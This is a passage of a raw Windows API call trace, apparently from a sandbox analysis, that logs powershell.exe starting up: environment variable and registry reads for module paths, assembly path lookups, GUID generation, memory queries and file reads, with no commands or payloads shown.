(pv=0x41e6c0) [0106.765] WinSqmIsOptedIn () returned 0x0 [0106.766] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.766] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.766] CoTaskMemFree (pv=0x41e6c0) [0106.777] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.777] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.777] CoTaskMemFree (pv=0x41e6c0) [0106.778] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.778] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.778] CoTaskMemFree (pv=0x41e6c0) [0106.803] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.803] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.803] CoTaskMemFree (pv=0x41e6c0) [0106.804] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.804] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.804] CoTaskMemFree (pv=0x41e6c0) [0106.856] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.856] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.856] CoTaskMemFree (pv=0x41e6c0) [0106.857] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.857] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.857] CoTaskMemFree (pv=0x41e6c0) [0106.886] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.886] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.886] CoTaskMemFree (pv=0x41e6c0) [0106.890] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0106.890] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0106.901] CoTaskMemFree (pv=0x41e6c0) [0107.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.112] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ecb90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0107.157] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.157] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0107.157] CoTaskMemFree (pv=0x41e6c0) [0107.204] CoTaskMemAlloc (cb=0xcc) returned 0x4cee20 [0107.204] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x4cee20, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0107.204] CoTaskMemFree (pv=0x4cee20) [0107.204] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ed368 | out: phkResult=0x1ed368*=0x328) returned 0x0 [0107.204] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x1ed2ec, lpData=0x0, lpcbData=0x1ed2e8*=0x0 | out: lpType=0x1ed2ec*=0x2, lpData=0x0, lpcbData=0x1ed2e8*=0x6c) returned 0x0 [0107.204] CoTaskMemAlloc (cb=0x70) returned 0x460480 [0107.204] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x1ed2bc, lpData=0x460480, lpcbData=0x1ed2b8*=0x6c | out: lpType=0x1ed2bc*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x1ed2b8*=0x6c) returned 0x0 [0107.204] CoTaskMemFree (pv=0x460480) [0107.205] CoTaskMemAlloc (cb=0xcc) returned 0x4cee20 [0107.205] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x4cee20, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0107.205] CoTaskMemFree (pv=0x4cee20) [0107.205] CoTaskMemAlloc (cb=0xcc) returned 0x4cee20 [0107.205] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x4cee20, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0107.205] CoTaskMemFree (pv=0x4cee20) [0107.208] RegCloseKey (hKey=0x328) returned 0x0 [0107.208] CoTaskMemAlloc (cb=0xcc) returned 0x4cee20 [0107.208] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x4cee20, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0107.208] CoTaskMemFree (pv=0x4cee20) [0107.208] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ed368 | out: phkResult=0x1ed368*=0x328) returned 0x0 [0107.208] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x1ed2ec, lpData=0x0, lpcbData=0x1ed2e8*=0x0 | out: lpType=0x1ed2ec*=0x0, lpData=0x0, lpcbData=0x1ed2e8*=0x0) returned 0x2 [0107.208] RegCloseKey (hKey=0x328) returned 0x0 [0107.252] CoTaskMemAlloc (cb=0x20c) returned 0x1b87e960 [0107.252] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b87e960 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0107.253] CoTaskMemFree (pv=0x1b87e960) [0107.253] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0107.254] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0107.295] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.295] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.295] CoTaskMemFree (pv=0x41e6c0) [0107.295] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.295] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.295] CoTaskMemFree (pv=0x41e6c0) [0107.336] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.336] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.336] CoTaskMemFree (pv=0x41e6c0) [0107.336] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.336] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.336] CoTaskMemFree (pv=0x41e6c0) [0107.367] CoTaskMemAlloc (cb=0x78) returned 0x460480 [0107.368] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x1ed0ac, lpData=0x460480, lpcbData=0x1ed0a8*=0x74 | out: lpType=0x1ed0ac*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x1ed0a8*=0x74) returned 0x0 [0107.368] CoTaskMemFree (pv=0x460480) [0107.368] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x1ece20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0107.368] SetErrorMode (uMode=0x1) returned 0x1 [0107.368] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x1ed030 | out: lpFileInformation=0x1ed030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0107.368] SetErrorMode (uMode=0x1) returned 0x1 [0107.373] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.373] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.373] CoTaskMemFree (pv=0x41e6c0) [0107.489] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0107.489] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0107.489] CoTaskMemFree (pv=0x41e6c0) [0107.807] CoTaskMemAlloc (cb=0x5a) returned 0x1b87bfb0 [0107.807] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ecf1c, lpData=0x1b87bfb0, lpcbData=0x1ecf18*=0x56 | out: lpType=0x1ecf1c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ecf18*=0x56) returned 0x0 [0107.807] CoTaskMemFree (pv=0x1b87bfb0) [0108.817] CoTaskMemAlloc (cb=0x5a) returned 0x4c9a00 [0108.817] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ecf1c, lpData=0x4c9a00, lpcbData=0x1ecf18*=0x56 | out: lpType=0x1ecf1c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1ecf18*=0x56) returned 0x0 [0108.817] CoTaskMemFree (pv=0x4c9a00) [0110.554] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0110.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.554] CoTaskMemFree (pv=0x41e6c0) [0110.569] CoTaskMemAlloc (cb=0x78) returned 0x460480 [0110.569] RegQueryValueExW (in: hKey=0x308, lpValueName="path", lpReserved=0x0, lpType=0x1ed0bc, lpData=0x460480, lpcbData=0x1ed0b8*=0x74 | out: lpType=0x1ed0bc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x1ed0b8*=0x74) returned 0x0 [0110.569] CoTaskMemFree (pv=0x460480) [0110.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x1ece30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0110.569] SetErrorMode (uMode=0x1) returned 0x1 [0110.569] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x1ed040 | out: lpFileInformation=0x1ed040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0110.569] SetErrorMode (uMode=0x1) returned 0x1 [0110.573] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0110.573] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.574] CoTaskMemFree (pv=0x41e6c0) [0110.578] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0110.578] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.578] CoTaskMemFree (pv=0x41e6c0) [0110.578] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0110.578] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.579] CoTaskMemFree (pv=0x41e6c0) [0110.579] CoTaskMemAlloc (cb=0x104) returned 0x41e6c0 [0110.579] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e6c0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0110.579] CoTaskMemFree (pv=0x41e6c0) [0110.635] CoTaskMemAlloc (cb=0x5a) returned 0x4ca1e0 [0110.635] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4ca1e0, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0110.635] CoTaskMemFree (pv=0x4ca1e0) [0110.803] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xde8fbab9, Data2=0x9d45, Data3=0x47e5, Data4=([0]=0xa0, [1]=0xac, [2]=0x86, [3]=0x68, [4]=0x8b, [5]=0x65, [6]=0xeb, [7]=0x12))) returned 0x0 [0110.815] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x7022c57e, Data2=0x40e5, Data3=0x4dae, Data4=([0]=0x9a, [1]=0xc7, [2]=0x7a, [3]=0xfa, [4]=0x3b, [5]=0x64, [6]=0x61, [7]=0xd5))) returned 0x0 [0110.820] CoTaskMemAlloc (cb=0x5a) returned 0x4ca170 [0110.820] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4ca170, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0110.820] CoTaskMemFree (pv=0x4ca170) [0110.821] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf90ea132, Data2=0x33e0, Data3=0x4be4, Data4=([0]=0xa5, [1]=0xe, [2]=0x45, [3]=0x83, [4]=0x71, [5]=0x9b, [6]=0xa5, [7]=0x9d))) returned 0x0 [0110.821] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf079838f, Data2=0xa0bc, Data3=0x455a, Data4=([0]=0xb1, [1]=0xdd, [2]=0x86, [3]=0xa8, [4]=0x8f, [5]=0x52, [6]=0xe5, [7]=0xc9))) returned 0x0 [0110.826] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x3f2bf2c7, Data2=0x4bc4, Data3=0x4eae, Data4=([0]=0xa8, [1]=0xac, [2]=0xd4, [3]=0x23, [4]=0xcd, [5]=0x6b, [6]=0xa1, [7]=0x8a))) returned 0x0 [0110.826] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xa0246f2b, Data2=0x5999, Data3=0x453c, Data4=([0]=0xb8, [1]=0x35, [2]=0xd3, [3]=0xe0, [4]=0xa4, [5]=0xa4, [6]=0xaf, [7]=0x97))) returned 0x0 [0110.826] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb419cdee, Data2=0xdc14, Data3=0x437f, Data4=([0]=0xb6, [1]=0x40, [2]=0x5a, [3]=0xa5, [4]=0xbb, [5]=0x7e, [6]=0xbd, [7]=0x4a))) returned 0x0 [0110.826] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf319454a, Data2=0x81e2, Data3=0x4f6b, Data4=([0]=0xab, [1]=0xa, [2]=0x3e, [3]=0xdf, [4]=0x59, [5]=0x2a, [6]=0x26, [7]=0xab))) returned 0x0 [0110.886] CoTaskMemAlloc (cb=0x5a) returned 0x4ca170 [0110.886] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4ca170, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0110.887] CoTaskMemFree (pv=0x4ca170) [0110.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x1ec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0110.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0110.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0111.045] VirtualQuery (in: lpAddress=0x1eb800, lpBuffer=0x1ec6c0, dwLength=0x30 | out: lpBuffer=0x1ec6c0*(BaseAddress=0x1eb000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0111.046] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x4b45144e, Data2=0x83d7, Data3=0x4959, Data4=([0]=0x8a, [1]=0xe0, [2]=0xf9, [3]=0xa2, [4]=0x9c, [5]=0x21, [6]=0xa7, [7]=0xfe))) returned 0x0 [0111.047] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5e9e3029, Data2=0x6bc7, Data3=0x4976, Data4=([0]=0xb4, [1]=0x61, [2]=0xe, [3]=0x8a, [4]=0x11, [5]=0x49, [6]=0x87, [7]=0xb8))) returned 0x0 [0111.048] VirtualQuery (in: lpAddress=0x1eb9b0, lpBuffer=0x1ec870, dwLength=0x30 | out: lpBuffer=0x1ec870*(BaseAddress=0x1eb000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0111.049] VirtualQuery (in: lpAddress=0x1eb9b0, lpBuffer=0x1ec870, dwLength=0x30 | out: lpBuffer=0x1ec870*(BaseAddress=0x1eb000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0111.050] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x1c396819, Data2=0x636a, Data3=0x4e53, Data4=([0]=0xb2, [1]=0xc4, [2]=0x87, [3]=0xa0, [4]=0x4a, [5]=0xca, [6]=0xbb, [7]=0xb2))) returned 0x0 [0111.054] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x77417242, Data2=0xe971, Data3=0x4c80, Data4=([0]=0xa5, [1]=0xc3, [2]=0xdd, [3]=0x81, [4]=0x0, [5]=0x4d, [6]=0x38, [7]=0x84))) returned 0x0 [0111.054] VirtualQuery (in: lpAddress=0x1ebc00, lpBuffer=0x1ecac0, dwLength=0x30 | out: lpBuffer=0x1ecac0*(BaseAddress=0x1eb000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0111.056] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x10f771c5, Data2=0x995, Data3=0x4557, Data4=([0]=0xaa, [1]=0xd0, [2]=0x33, [3]=0xce, [4]=0xd3, [5]=0x1d, [6]=0xe, [7]=0x98))) returned 0x0 [0111.058] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x836a63aa, Data2=0x74a2, Data3=0x463b, Data4=([0]=0xb0, [1]=0x79, [2]=0x88, [3]=0x3b, [4]=0x81, [5]=0x14, [6]=0x58, [7]=0xa3))) returned 0x0 [0111.059] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x11b6030f, Data2=0xaf94, Data3=0x4efa, Data4=([0]=0xb5, [1]=0x92, [2]=0x9f, [3]=0x48, [4]=0x4c, [5]=0x1a, [6]=0x27, [7]=0x29))) returned 0x0 [0111.060] SetErrorMode (uMode=0x1) returned 0x1 [0111.063] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.082] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.082] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.083] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.083] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.083] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, 